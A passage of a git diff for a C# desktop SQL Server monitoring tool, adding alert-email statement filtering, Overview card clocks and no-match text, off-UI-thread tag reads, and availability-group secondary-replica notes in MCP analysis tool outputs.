+    internal void Cancel(bool readLogsOwnCancellation = false)
+    {
+        _cancelled = true;
+        _readLogsOwnCancellation = readLogsOwnCancellation;
+    }
+
+    private bool _readLogsOwnCancellation;
+
+    /// <summary>Whether disposing this context will write a SLOW METHOD block when the operation passed the threshold.</summary>
+    internal bool LogsOnDispose => !_cancelled;
+
     public void Dispose()
     {
         if (_disposed) return;
         _disposed = true;
         _stopwatch.Stop();
 
+        if (_cancelled)
+        {
+            if (!_readLogsOwnCancellation)
+                MethodProfiler.LogCancelledMethod(_stopwatch.Elapsed.TotalMilliseconds, _context, _memberName);
+
+            GC.SuppressFinalize(this);
+            return;
+        }
+
         MethodProfiler.LogSlowMethod(
             _startTime, DateTime.Now, _stopwatch.Elapsed.TotalMilliseconds,
             _context, _memberName, _filePath, _lineNumber);
diff --git a/Lite/MainWindow.AlertEngine.cs b/Lite/MainWindow.AlertEngine.cs
index e0a54c559a..8f47c28d98 100644
--- a/Lite/MainWindow.AlertEngine.cs
+++ b/Lite/MainWindow.AlertEngine.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
@@ -245,15 +246,22 @@ every alert the deliverer carries obeys. A network blip that drops several monit
                be the one family on this store still costing one post per affected server. Read straight off
                the ServerConnection in hand rather than through ServerManager's scan, which exists for the
                callers that only have the hashed id. */
+            /* #5320 (part of #4348): this send bypasses LiteAlertDeliverer, so it runs the statement filter itself.
+               The mute check above matched the raw text; only what leaves the process is filtered. */
+            var filtered = AlertStatementFilter.Apply(new AlertOutcome(
+                serverId.ToString(CultureInfo.InvariantCulture), serverName, metricName, currentValue, "Online",
+                Context: null, DetailText: detailText, NumericCurrentValue: null, NumericThresholdValue: null,
+                Muted: isMuted, Severity: null, ShortMessage: currentValue));
+
             return _emailAlertService.TrySendAlertEmailAsync(
                 metricName,
                 serverName,
-                currentValue,
+                filtered.ShortMessage ?? currentValue,
                 "Online",
                 serverId,
                 context: null,
                 muted: isMuted,
-                detailText: detailText,
+                detailText: filtered.DetailText ?? detailText,
                 deliveryMode: AlertDeliveryModeResolver.Resolve(
                     server.AlertDeliveryModeOverride, App.AlertDeliveryMode));
         }
@@ -467,7 +475,8 @@ evaluating on some launches with nothing in the log. Capturing also removes the
                     databases,
                     App.AgLagAlertSeconds,
                     App.AgRedoQueueAlertKb,
-                    TimeSpan.FromMinutes(App.AlertCooldownMinutes),
+                    /* #5493: a state alert, repeated only per connection_refire_minutes (0 = off), as "Server Unreachable". */
+                    TimeSpan.FromMinutes(App.ConnectionRefireMinutes),
                     sweepGeneration: generation));
             }
 
@@ -540,15 +549,22 @@ bool IsFresh(DateTime? snapshotUtc) =>
                replicas on one availability group flap together, so this family fans out across servers the
                same way. Through ServerManager's scan because this path carries the hashed id, not the
                ServerConnection. */
+            /* #5320 (part of #4348): this send bypasses LiteAlertDeliverer too, so it runs the statement filter itself. */
+            var filtered = AlertStatementFilter.Apply(new AlertOutcome(
+                serverId.ToString(CultureInfo.InvariantCulture), serverName, alert.MetricName, alert.CurrentValue,
+                alert.ThresholdValue, Context: alert.Context, DetailText: alert.DetailText,
+                NumericCurrentValue: null, NumericThresholdValue: null, Muted: isMuted, Severity: null,
+                ShortMessage: alert.CurrentValue));
+
             return _emailAlertService.TrySendAlertEmailAsync(
                 alert.MetricName,
                 serverName,
-                alert.CurrentValue,
+                filtered.ShortMessage ?? alert.CurrentValue,
                 alert.ThresholdValue,
                 serverId,
-                context: alert.Context,
+                context: filtered.Context,
                 muted: isMuted,
-                detailText: alert.DetailText,
+                detailText: filtered.DetailText ?? alert.DetailText,
                 deliveryMode: AlertDeliveryModeResolver.Resolve(
                     _serverManager.ResolveAlertDeliveryModeOverride(serverId), App.AlertDeliveryMode));
         }
diff --git a/Lite/MainWindow.xaml b/Lite/MainWindow.xaml
index 89a763c034..fb91933979 100644
--- a/Lite/MainWindow.xaml
+++ b/Lite/MainWindow.xaml
@@ -278,6 +278,7 @@
                         <Style TargetType="ListBoxItem">
                             <Setter Property="Padding" Value="0"/>
                             <Setter Property="Margin" Value="0,1"/>
+                            <Setter Property="AutomationProperties.Name" Value="{Binding AutomationName, Mode=OneTime}"/>
                             <Setter Property="Background" Value="Transparent"/>
                             <Setter Property="BorderThickness" Value="0"/>
                             <Setter Property="HorizontalContentAlignment" Value="Stretch"/>
@@ -402,6 +403,10 @@
                                     </TextBlock.Style>
                                 </TextBlock>
                             </Grid>
+                            <!-- #5352: says so when the search above matched no card, instead of leaving a blank
+                                 grid. The sentence is ServerOverviewFilter.NoMatchText, shared with the viewer. -->
+                            <TextBlock x:Name="OverviewNoMatchText" VerticalAlignment="Center" Margin="12,0,0,0"
+                                       Foreground="{DynamicResource ForegroundMutedBrush}" Visibility="Collapsed"/>
                         </StackPanel>
                         <ScrollViewer VerticalScrollBarVisibility="Auto" Margin="8">
                             <ItemsControl x:Name="OverviewItemsControl">
@@ -412,12 +417,13 @@
                                 </ItemsControl.ItemsPanel>
                                 <ItemsControl.ItemTemplate>
                                     <DataTemplate>
-                                        <Border Background="{DynamicResource BackgroundLightBrush}"
+                                        <controls:OverviewCardBorder Background="{DynamicResource BackgroundLightBrush}"
                                                 BorderBrush="{Binding CardBorderBrush}"
                                                 BorderThickness="2" CornerRadius="6"
                                                 Margin="6"
                                                 Width="260" MinHeight="160"
                                                 Cursor="Hand"
+                                                AutomationProperties.Name="{Binding DisplayName}"
                                                 MouseLeftButtonDown="OverviewCard_MouseLeftButtonDown">
                                             <Grid>
                                                 <StackPanel Margin="16">
@@ -536,7 +542,7 @@
                                                     </StackPanel>
                                                 </Border>
                                             </Grid>
-                                        </Border>
+                                        </controls:OverviewCardBorder>
                                     </DataTemplate>
                                 </ItemsControl.ItemTemplate>
                             </ItemsControl>
diff --git a/Lite/MainWindow.xaml.cs b/Lite/MainWindow.xaml.cs
index fe81320e88..345f62b72f 100644
--- a/Lite/MainWindow.xaml.cs
+++ b/Lite/MainWindow.xaml.cs
@@ -48,7 +48,18 @@ public partial class MainWindow : Window
     private SystemTrayService? _trayService;
     private WindowResumeGuard? _resumeGuard;
     private readonly Dictionary<string, TabItem> _openServerTabs = new();
-    private readonly Dictionary<string, (Action<int, int, DateTime?> AlertCounts, Action<int> ApplyTimeRange, Func<Task> ManualRefresh)> _tabEventHandlers = new();
+
+    /* What the status bar says after the server's first collection ("Data loaded", or the collection error), by server id.
+       Switching to a server's tab words the status bar from this, so "Data loaded" is not lost on the way back (F19). */
+    private readonly Dictionary<string, string> _serverStatusSuffix = new();
+
+    /// <summary>
+    /// The status bar text for a connected server tab: "Connected to X", plus " - Data loaded" (or the collection error)
+    /// once the server's first collection has finished. One wording for the moment the tab opens and every later switch to it.
+    /// </summary>
+    internal static string ConnectedStatusText(string displayName, string? suffix) =>
+        string.IsNullOrEmpty(suffix) ? $"Connected to {displayName}" : $"Connected to {displayName} - {suffix}";
+    private readonly Dictionary<string, (Action<int, int, DateTime?> AlertCounts, Action<PerformanceMonitor.Ui.TimeRangeSpec> ApplyTimeRange, Func<Task> ManualRefresh)> _tabEventHandlers = new();
     /* Server tab badge state for the non-blocking/deadlock conditions (#754/#749), keyed by the
        ServerConnection GUID (the same key as _openServerTabs). The alert sweep sets these; both the
        blocking/deadlock tab refresh and the sweep funnel through UpdateTabBadge, so the badge
@@ -145,7 +156,14 @@ by both so the webhook service can seed its cooldown across restart (#1145). */
         // Coupling stays acyclic: ServerManager → IProfileLookup ← ProfileManager, ProfileManager → ServerManager.
         _profileManager = new ProfileManager(_serverManager, new AppLoggerAdapter<ProfileManager>());
         _serverManager.ProfileLookup = _profileManager;
-        _scheduleManager = new ScheduleManager(App.ConfigDirectory);
+        /* #4938: with the app's logger, a run time that is ignored (a value that is not HH:MM, or a time on an hourly collector)
+           is written to the log as a warning that names the collector, not dropped without a word. */
+        _scheduleManager = new ScheduleManager(App.ConfigDirectory, new AppLoggerAdapter<ScheduleManager>());
+        /* #4999: every LocalDataService judges a collector by the interval it is scheduled at on that server, whoever
+           builds it (the Collection Health tab builds its own, as do five other places), not only the MCP host's
+           instance. Wired once here, beside the managers it answers from, and read by each instance where it is used. */
+        LocalDataService.DefaultCollectorFrequencyMinutes = (serverId, collector) =>
+            _scheduleManager.GetFrequencyForStorageServer(_serverManager, serverId, collector);
 
         // Status bar update timer
         _statusTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(30) };
@@ -211,7 +229,10 @@ FIRST sweep (per-key twin of the old bulk SeedEdgeTriggerWatermarksAsync), so a
                 _databaseInitializer,
                 _serverManager,
                 _scheduleManager,
-                new AppLoggerAdapter<RemoteCollectorService>());
+                new AppLoggerAdapter<RemoteCollectorService>(),
+                /* #4961: the install id lives at the data root. The store resolves it on the first collector's
+                   first ask, so parallel first sweeps share one resolve. */
+                InstallIdStore.ForCurrentUser(App.DataDirectory));
 
             var archiveService = new ArchiveService(_databaseInitializer, App.ArchiveDirectory, new AppLoggerAdapter<ArchiveService>());
             var retentionService = new RetentionService(App.ArchiveDirectory, new AppLoggerAdapter<RetentionService>());
@@ -240,6 +261,10 @@ The CTS is created here rather than at its old site a few lines below purely so
             _backgroundCts = new CancellationTokenSource();
             _ = Task.Run(() => sliceRepair.RepairOnStartupAsync(_backgroundCts.Token));
 
+            /* #5477: build the statement filter's first-call costs off the startup path, so the first alert with a
+               large report does not pay them. Never throws, logs nothing. */
+            _ = PerformanceMonitor.Alerting.AlertStatementFilter.WarmUpAsync();
+
             // Routes high-severity analysis findings to email/Slack/Teams; the background
             // service runs scheduled analysis and hands findings to it.
             /* serverId resolver: Lite uses the finding's stable int id as a string (Plan E E3c). */
@@ -369,7 +394,7 @@ display names in Lite (the stored servers.display_name column is unpopulated), s
                         s.DisplayNameWithIntent;
                 }
                 return map;
-            });
+            }, OpenTabClocks);
 
             // Availability Groups (#991): self-loading, and its tab stays hidden until a load finds AG rows.
             AvailabilityGroupsContent.Initialize(_dataService);
@@ -575,7 +600,8 @@ private void ServerTabControl_SelectionChanged(object sender, SelectionChangedEv
         if (ServerTabControl.SelectedItem is TabItem { Content: ServerTab serverTab })
         {
             ServerTimeHelper.ActiveServerClock = serverTab.ServerClock;
-            StatusText.Text = $"Connected to {serverTab.Server.DisplayNameWithIntent}";
+            _serverStatusSuffix.TryGetValue(serverTab.Server.Id, out var statusSuffix);
+            StatusText.Text = ConnectedStatusText(serverTab.Server.DisplayNameWithIntent, statusSuffix);
         }
 
         /* Refresh alerts tab when selected */
@@ -860,6 +886,8 @@ RefreshServerList runs before tags are known on the very first load. */
         try
         {
             var summaries = new List<ServerSummaryItem>();
+            /* Each server's clock is read once per refresh, however many cards share its storage id. */
+            var refreshClocks = new Dictionary<int, ServerClock>();
             foreach (var server in servers)
             {
                 try
@@ -870,6 +898,7 @@ RefreshServerList runs before tags are known on the very first load. */
                     if (summary != null)
                     {
                         summary.ServerName = server.ServerName;
+                        summary.Clock = await ReadOverviewClockAsync(serverId, refreshClocks);
                         summary.IsSilenced = _alertStateService.IsServerSilenced(server.Id);
                         var connStatus = _serverManager.GetConnectionStatus(server.Id);
                         summary.IsOnline = connStatus.IsOnline;
@@ -888,6 +917,12 @@ RefreshServerList runs before tags are known on the very first load. */
             _overviewSummaries = summaries;
             ApplyOverviewView();
 
+            /* A FinOps tab left open while a collection for its server finishes reloads, as it does on a show. */
+            foreach (var summary in summaries)
+            {
+                FinOpsContent.NoteCollection(summary.ServerId, summary.LastCollectionTime);
+            }
+
             /* Alerts run over the WHOLE fleet, never the filtered view — a search box narrowing what's on
                screen must not silence alerts for the servers it hides. */
             foreach (var summary in summaries)
@@ -901,6 +936,35 @@ RefreshServerList runs before tags are known on the very first load. */
         }
     }
 
+    /// <summary>
+    /// The clock one Overview card converts its Last Collect time on, so the card follows "Show timestamps in" like the
+    /// Alert History and Job History rows do: the server's own collected clock, else its open tab's, else the machine's
+    /// (<see cref="ServerTimeHelper.ClockForServer(ServerClock?, ServerClock?)"/>). A failed clock read leaves the card on
+    /// the next clock in the chain rather than dropping the card.
+    /// </summary>
+    private async Task<ServerClock> ReadOverviewClockAsync(int serverId, Dictionary<int, ServerClock> refreshClocks)
+    {
+        if (refreshClocks.TryGetValue(serverId, out var cached))
+        {
+            return cached;
+        }
+
+        ServerClock? collected = null;
+        try
+        {
+            var dataService = _dataService;
+            collected = dataService == null ? null : await Task.Run(() => dataService.GetServerClockAsync(serverId));
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Debug("Overview", $"Server clock read failed for server {serverId}, its card takes its open tab's or the machine's clock: {ex.Message}");
+        }
+
+        var clock = ServerTimeHelper.ClockForServer(collected, OpenTabClockFor(serverId));
+        refreshClocks[serverId] = clock;
+        return clock;
+    }
+
     private void ServerListView_MouseDoubleClick(object sender, MouseButtonEventArgs e)
     {
         /* Only a server row connects; a header row's double-click is a no-op (a single click already
@@ -981,6 +1045,14 @@ private void ApplyOverviewView()
         OverviewItemsControl.ItemsSource = ServerOverviewSort.Order(
             filtered, App.OverviewSortMode,
             s => s.CpuPercentForAlert, s => s.DisplayName, s => s.ServerId);
+
+        /* #5352: a search that matched nothing says so (same sentence as the viewer) rather than leaving a blank grid. */
+        var noMatch = _overviewSummaries.Count > 0 && filtered.Count == 0;
+        if (OverviewNoMatchText != null)
+        {
+            OverviewNoMatchText.Text = noMatch ? ServerOverviewFilter.NoMatchText : string.Empty;
+            OverviewNoMatchText.Visibility = noMatch ? Visibility.Visible : Visibility.Collapsed;
+        }
     }
 
     /// <summary>The fields a search term matches against for a card: its display and instance names, plus each
@@ -1008,8 +1080,14 @@ private async Task LoadServerTagsAsync()
 
         try
         {
-            _tags = await _dataService.GetServerTagsAsync();
-            var assignments = await _dataService.GetServerTagAssignmentsAsync();
+            /* #5457: both reads run off the UI thread, in one hop. This runs on every Overview refresh, and a read
+               takes the store read lock before it opens a connection: awaited on the dispatcher, it waited there
+               whenever archival or compaction was parked on the lock (a parked writer holds back new readers), and
+               then ran the query there. Task.Run keeps the lock enter and exit on one pool thread. */
+            var dataService = _dataService;
+            var (tags, assignments) = await Task.Run(async () =>
+                (await dataService.GetServerTagsAsync(), await dataService.GetServerTagAssignmentsAsync()));
+            _tags = tags;
 
             var map = new Dictionary<int, HashSet<int>>();
             foreach (var a in assignments)
@@ -1099,7 +1177,7 @@ know about it. */
         {
             Dispatcher.Invoke(() => UpdateTabBadge(tabHeader, serverId, blockingCount, deadlockCount, latestEventTime));
         };
-        Action<int> timeRangeHandler = (selectedIndex) =>
+        Action<PerformanceMonitor.Ui.TimeRangeSpec> timeRangeHandler = (range) =>
         {
             Dispatcher.Invoke(() =>
             {
@@ -1107,7 +1185,7 @@ know about it. */
                 {
                     if (tab.Content is ServerTab st && st != serverTab)
                     {
-                        st.SetTimeRangeIndex(selectedIndex);
+                        st.SetTimeRange(range);
                     }
                 }
             });
@@ -1142,6 +1220,11 @@ registration there would wait out the reset's drain timeout. */
 
         serverTab.AlertCountsChanged += alertHandler;
         serverTab.ApplyTimeRangeRequested += timeRangeHandler;
+        /* #5562: the picker's 'collected every N minutes' note names this server's ACTUAL cadence for the main collector of the
+           page on screen (ServerTab.CurrentMainCollector), read from the schedule each time (it can be edited while the tab is
+           open) and falling back to the shipped default when the schedule has no entry for it. */
+        serverTab.SetSampleIntervalSource(collector => PerformanceMonitorLite.Helpers.LiteTimeRange.SampleIntervalForCollector(
+            collector, _scheduleManager.GetScheduleForServer(server.Id, collector)));
         serverTab.ManualRefreshRequested += refreshHandler;
         /* #1319: persist the per-server view database filter (no credential side effects). The handler
            captures only the long-lived _serverManager, so it needs no explicit unsubscribe. */
@@ -1168,14 +1251,16 @@ registration there would wait out the reset's drain timeout. */
             try
             {
                 await Task.Run(() => _collectorService.RunAllCollectorsForServerAsync(server));
-                StatusText.Text = $"Connected to {server.DisplayNameWithIntent} - Data loaded";
+                _serverStatusSuffix[server.Id] = "Data loaded";
+                StatusText.Text = ConnectedStatusText(server.DisplayNameWithIntent, "Data loaded");
                 serverTab.RefreshData();
                 UpdateCollectorHealth();
                 _ = RefreshOverviewAsync();
             }
             catch (Exception ex)
             {
-                StatusText.Text = $"Connected to {server.DisplayNameWithIntent} - Collection error: {ex.Message}";
+                _serverStatusSuffix[server.Id] = $"Collection error: {ex.Message}";
+                StatusText.Text = ConnectedStatusText(server.DisplayNameWithIntent, _serverStatusSuffix[server.Id]);
             }
         }
         else
@@ -1412,6 +1497,25 @@ private void HideServerBadge(string serverId)
         return null;
     }
 
+    /// <summary>
+    /// The clock of every open server tab, by server id (#4966): the snapshot the Job History tab hands its read, so a server with
+    /// no collected clock yet is windowed on its open tab's clock before the machine's, as <see cref="OpenTabClockFor"/> gives the
+    /// Alerts History list. Taken on the UI thread (the open tabs are UI objects) and read off it as a plain dictionary.
+    /// </summary>
+    private IReadOnlyDictionary<int, ServerClock> OpenTabClocks()
+    {
+        var clocks = new Dictionary<int, ServerClock>();
+        foreach (var tab in _openServerTabs.Values)
+        {
+            if (tab.Content is ServerTab st)
+            {
+                clocks[st.ServerId] = st.ServerClock;
+            }
+        }
+
+        return clocks;
+    }
+
     /// <summary>
     /// When alerts are cleared from Alert History via "Dismiss All", acknowledge the matching
     /// server tab badge(s) so the at-a-glance indicator stays consistent with the cleared list
@@ -1482,6 +1586,7 @@ private void CloseServerTab(string serverId)
 
             ServerTabControl.Items.Remove(tab);
             _openServerTabs.Remove(serverId);
+            _serverStatusSuffix.Remove(serverId);
 
             /* Clean up alert state for this server */
             _alertStateService.RemoveServerState(serverId);
@@ -1681,30 +1786,11 @@ private void ImportSettingsButton_Click(object sender, RoutedEventArgs e)
                 }
             }
 
-            // Copy config files that don't already exist in the current install
-            var settingsFiles = new[] { "settings.json", "collection_schedule.json", "ignored_wait_types.json" };
-            int settingsCopied = 0;
-
-            foreach (var fileName in settingsFiles)
-            {
-                var source = System.IO.Path.Combine(oldConfigDir, fileName);
-                var target = System.IO.Path.Combine(App.ConfigDirectory, fileName);
-
-                if (System.IO.File.Exists(source) && !System.IO.File.Exists(target))
-                {
-                    System.IO.File.Copy(source, target);
-                    settingsCopied++;
-                }
-            }
-
-            // Copy alert_state.json from old root directory
-            var oldAlertState = System.IO.Path.Combine(dialog.FolderName, "alert_state.json");
-            var currentAlertState = System.IO.Path.Combine(App.DataDirectory, "alert_state.json");
-            if (System.IO.File.Exists(oldAlertState) && !System.IO.File.Exists(currentAlertState))
-            {
-                System.IO.File.Copy(oldAlertState, currentAlertState);
-                settingsCopied++;
-            }
+            /* Copy the config files and alert_state.json that don't already exist in the current install. The lists
+               live in SettingsImport (#4961), which a test reads: the previous install's install-id.json is never
+               among them, because two installs that shared an id would drop each other's Extended Events sessions. */
+            int settingsCopied = SettingsImport.CopyMissing(
+                oldConfigDir, dialog.FolderName, App.ConfigDirectory, App.DataDirectory);
 
             var message = $"Imported {imported} server connection(s).";
             if (skipped > 0)
@@ -1932,6 +2018,15 @@ private async Task RemoveServerAsync(ServerConnection server)
             }
         }
 
+        /* #4961: the server's long-query trace session is this install's, so it goes with the server. Awaited here, with the
+           tag clear, so the block below still awaits nothing: one attempt for the whole step, and a failure or the timeout
+           is logged by the drop and never stops the removal. */
+        if (_collectorService != null)
+        {
+            using var sessionDrop = new System.Threading.CancellationTokenSource(RemoteCollectorService.LongQueryTraceRemovalTimeout);
+            await _collectorService.DropLongQueryTraceOfRemovedServerAsync(server, sessionDrop.Token);
+        }
+
         /* #4795: from the first drop to the delete nothing is awaited, so this runs on the UI thread without a
            timer tick in between. The state used to be dropped, then the tag clear awaited, then the registry entry
            deleted by the caller: a tick during that await still found the server registered and re-created the
diff --git a/Lite/Mcp/McpAlertTools.cs b/Lite/Mcp/McpAlertTools.cs
index 4f8154e59e..ab8548ad2f 100644
--- a/Lite/Mcp/McpAlertTools.cs
+++ b/Lite/Mcp/McpAlertTools.cs
@@ -148,8 +148,8 @@ the span the page covers (newest-first, so the oldest stamp IS the reach), and t
                    that shaped the population together with how much it removed. */
                 alerts_returned = page.Count,
                 truncated,
-                oldest_returned_alert_time = page.Min(r => r.AlertTime).ToString("o"),
-                newest_returned_alert_time = page.Max(r => r.AlertTime).ToString("o"),
+                oldest_returned_alert_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.AlertTime)),
+                newest_returned_alert_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.AlertTime)),
                 order = "alert_time_desc",
                 dismissed_excluded = !include_dismissed,
                 dismissed_excluded_count = dismissedExcludedCount,
diff --git a/Lite/Mcp/McpAnalysisTools.cs b/Lite/Mcp/McpAnalysisTools.cs
index d16b96a186..b5b42ca264 100644
--- a/Lite/Mcp/McpAnalysisTools.cs
+++ b/Lite/Mcp/McpAnalysisTools.cs
@@ -56,6 +56,10 @@ make every ordinary run look anchored to the engine — which is exactly the set
                 }, McpHelpers.JsonOptions);
             }
 
+            /* #5558: databases left to the primary because this node holds only a secondary copy of them in an
+               availability group; the set THIS pass used. Null when none, and then the field is simply null. */
+            var secondaryReplicaNote = analysisService.LastSecondaryReplicaNote;
+
             /* #2506: whether this run's findings reached the store, and why not when they did not.
                Reported rather than left to the documentation because the caller cannot otherwise tell:
                an anchored run returns a complete, correct set of findings that simply does not exist in
@@ -90,7 +94,8 @@ persistence disclosure. */
                     {
                         analysis_time = analysisService.LastAnalysisTime?.ToString("o"),
                         persisted = anchor is null,
-                        persistence_note = persistenceNote
+                        persistence_note = persistenceNote,
+                        secondary_replica_note = secondaryReplicaNote
                     }, McpHelpers.JsonOptions));
             }
 
@@ -132,12 +137,14 @@ over families that were never read is not an all-clear. */
                     : $"No significant findings in the {coverage!.Fraction:P0} of this window the collector observed — a PARTIAL reading, not a full all-clear. {coverage.Describe()}. The unobserved stretch could have held anything, and nothing here speaks for it; check get_collection_health for why collection stopped.";
                 return McpHelpers.Status(
                     "empty",
-                    collectionCaveat is null ? allClear : $"{allClear} COLLECTION CAVEAT: {collectionCaveat}",
+                    (collectionCaveat is null ? allClear : $"{allClear} COLLECTION CAVEAT: {collectionCaveat}")
+                        + (secondaryReplicaNote is null ? string.Empty : " " + secondaryReplicaNote),
                     collection.Attach(new
                     {
                         analysis_time = analysisService.LastAnalysisTime?.ToString("o"),
                         persisted = anchor is null,
                         persistence_note = persistenceNote,
+                        secondary_replica_note = secondaryReplicaNote,
                         coverage = coverage?.ToPayload(),
                         fact_count = analysisService.LastFactCount,
                         facts_scored = analysisService.LastFactsScored
@@ -172,6 +179,7 @@ one every caller already assumed. */
                 /* Null at full coverage (#3538 A2) — same rule; the collection caveat (#3691) joins it
                    only when a family failed, so a clean full-coverage pass keeps its null. */
                 caveat = CollectionCaveats.Compose(coverageCaveat, collectionCaveat),
+                secondary_replica_note = secondaryReplicaNote,
                 coverage = coverage?.ToPayload(),
                 time_range = new
                 {
@@ -298,6 +306,12 @@ public static async Task<string> GetAnalysisFacts(
             var (facts, coverage, collection) = await analysisService.CollectAndScoreFactsAsync(
                 resolved.ServerId, resolved.ServerName, hours_back, asOfUtc: anchor, cancellationToken);
 
+            /* #5558: databases left to the primary because this node holds only a secondary copy of them in an
+               availability group, as of the window end; the facts below were trimmed of them. Built from the set the
+               read's own context filtered with (carried on the returned collection state), not from a second read, so
+               the note cannot disagree with what was skipped. Null when none, and then the field is simply null. */
+            var secondaryReplicaNote = AgReplicaScope.SkippedNote(collection.SecondaryReplicaDatabases);
+
             /* #3691: null on a clean read, and then every envelope below is byte-for-byte what it was; when
                a family failed, the sentence is appended to the message and collection_caveats to the payload. */
             var collectionCaveat = collection.Describe();
@@ -309,12 +323,11 @@ public static async Task<string> GetAnalysisFacts(
                    #3691: a pass in which every family FAILED lands here too, and used to be told apart from
                    "no data" only by the service log; the caveat now says which families were not read. */
                 const string noFacts = "No facts collected. The collector may not have run yet, or no data exists in the requested time range.";
-                return collectionCaveat is null
-                    ? McpHelpers.Status("unavailable", noFacts)
-                    : McpHelpers.Status(
-                        "unavailable",
-                        $"{noFacts} COLLECTION CAVEAT: {collectionCaveat}",
-                        collection.Attach(new { coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
+                var noFactsMessage = secondaryReplicaNote is null ? noFacts : $"{noFacts} {secondaryReplicaNote}";
+                return McpHelpers.Status(
+                    "unavailable",
+                    collectionCaveat is null ? noFactsMessage : $"{noFactsMessage} COLLECTION CAVEAT: {collectionCaveat}",
+                    collection.Attach(new { secondary_replica_note = secondaryReplicaNote, coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
             }
 
             if (coverage is null || !coverage.IsObserved)
@@ -331,7 +344,7 @@ after configuration alone knows audit_config still has it. */
                     $"{facts.Count} point-in-time fact(s) — configuration and current state — could still be read; audit_config reports those. " +
                     "Check get_collection_health to see when collectors last succeeded and why they stopped." +
                     (collectionCaveat is null ? string.Empty : $" COLLECTION CAVEAT: {collectionCaveat}"),
-                    collection.Attach(new { coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
+                    collection.Attach(new { secondary_replica_note = secondaryReplicaNote, coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
             }
 
             var filtered = facts.AsEnumerable();
@@ -383,6 +396,7 @@ after configuration alone knows audit_config still has it. */
                 total_facts = facts.Count,
                 shown = result.Count,
                 filters = new { source, min_severity },
+                secondary_replica_note = secondaryReplicaNote, /* #5558: null when nothing was left to the primary */
                 /* #3538 A2: null at full coverage; below the partial bar it says what share of the window
                    the fractions and rates were divided over, because a 25%-of-observed-time wait on a
                    quarter-collected window is a different claim from 25% of four hours. #3691: the
@@ -433,12 +447,18 @@ silently change what the two windows are relative to each other. */
             var baselineEnd = windowEnd.AddHours(-baseline_hours_back + hours_back);
             var baselineStart = windowEnd.AddHours(-baseline_hours_back);
 
-            var (baselineFacts, comparisonFacts, baselineCoverage, comparisonCoverage, dispersion) = await analysisService.ComparePeriodsAsync(
+            var (baselineFacts, comparisonFacts, baselineCoverage, comparisonCoverage, dispersion, baselineSecondaries, comparisonSecondaries) = await analysisService.ComparePeriodsAsync(
                 resolved.ServerId, resolved.ServerName,
                 baselineStart, baselineEnd,
                 comparisonStart, comparisonEnd,
                 cancellationToken);
 
+            /* #5558: per window, because each window uses the role at its own end and the two can straddle a
+               failover. Built from the sets the windows' contexts filtered with (returned beside the coverages), not
+               from a second read, so the note names exactly what the comparison skipped. */
+            var baselineSecondaryNote = AgReplicaScope.SkippedNote(baselineSecondaries);
+            var comparisonSecondaryNote = AgReplicaScope.SkippedNote(comparisonSecondaries);
+
             /* The COLLECTION_GAP context fact (#3538 A2) is an observation of the COLLECTOR, not of the
                server, and it is reported through the coverage blocks and caveat below. Left in the
                comparison it would count as a "stable" (or, on one side, a "new") entry in the summary
@@ -489,7 +509,9 @@ in hand are the whole answer.
                            it observed and found idle — is the difference between "check collection" and
                            "the server was quiet", and only the coverage can tell them apart. */
                         baseline_coverage = baselineCoverage?.ToPayload(),
-                        comparison_coverage = comparisonCoverage?.ToPayload()
+                        comparison_coverage = comparisonCoverage?.ToPayload(),
+                        baseline_secondary_replica_note = baselineSecondaryNote,
+                        comparison_secondary_replica_note = comparisonSecondaryNote
                     });
             }
 
@@ -546,14 +568,16 @@ description is not in front of the reader when the numbers are. */
                     start = baselineStart.ToString("o"),
                     end = baselineEnd.ToString("o"),
                     fact_count = baselineServerFacts.Count,
-                    coverage = baselineCoverage?.ToPayload()
+                    coverage = baselineCoverage?.ToPayload(),
+                    secondary_replica_note = baselineSecondaryNote
                 },
                 comparison = new
                 {
                     start = comparisonStart.ToString("o"),
                     end = comparisonEnd.ToString("o"),
                     fact_count = comparisonServerFacts.Count,
-                    coverage = comparisonCoverage?.ToPayload()
+                    coverage = comparisonCoverage?.ToPayload(),
+                    secondary_replica_note = comparisonSecondaryNote
                 },
                 summary = comparison.SummaryPayload(),
                 families = comparison.Families.Select(f => f.ToPayload()).ToList(),
@@ -842,11 +866,16 @@ exactly when the window held an occurrence the newest-first LIMIT dropped. This
                 resolved.ServerId, hours_back, FindingOccurrences.WindowCoveringLimit + 1, asOfUtc: anchor);
             var (findings, truncated) = McpHelpers.BoundPage(fetched, FindingOccurrences.WindowCoveringLimit);
 
+            /* #5558: databases skipped because this node holds only a secondary copy of them in an availability group
+               (their per-database findings are the primary's). Null when none; the same sentence on every surface. */
+            var secondaryReplicaNote = await analysisService.GetSecondaryReplicaNoteAsync(resolved.ServerId, anchor);
+
             if (findings.Count == 0)
             {
                 return McpHelpers.Status(
                     "empty",
-                    "No findings in the requested time range. Run analyze_server to generate new findings.");
+                    "No findings in the requested time range. Run analyze_server to generate new findings."
+                    + (secondaryReplicaNote is null ? "" : " " + secondaryReplicaNote));
             }
 
             /* #2000: collapse to one entry per (story_path_hash, incident_id). Measured 27.9x
@@ -888,6 +917,7 @@ stats. The store keeps every row — this shapes the read only. */
                 finding_count = groups.Count,
                 total_finding_count = totalFindingCount,
                 total_occurrences = findings.Count,
+                secondary_replica_note = secondaryReplicaNote,
                 // No silent caps: a read the window-covering limit CUT has had its OLDEST rows dropped by
                 // the store's newest-first LIMIT, so occurrence stats may under-report — say so instead of
                 // letting first_seen quietly lie. truncated is the #3594 flag (observed above); the note
diff --git a/Lite/Mcp/McpBlockingTools.cs b/Lite/Mcp/McpBlockingTools.cs
index 1cedf5e552..d8f609bcd8 100644
--- a/Lite/Mcp/McpBlockingTools.cs
+++ b/Lite/Mcp/McpBlockingTools.cs
@@ -1,5 +1,6 @@
 using System.ComponentModel;
 using System.Text.Json;
+using System.Text.Json.Nodes;
 using ModelContextProtocol.Server;
 using PerformanceMonitorLite.Analysis;
 using PerformanceMonitorLite.Services;
@@ -43,19 +44,31 @@ published it as the window's count. Same shape as Darling's twin. */
                        forever, which is byte-identical to a server that simply did not deadlock — the one
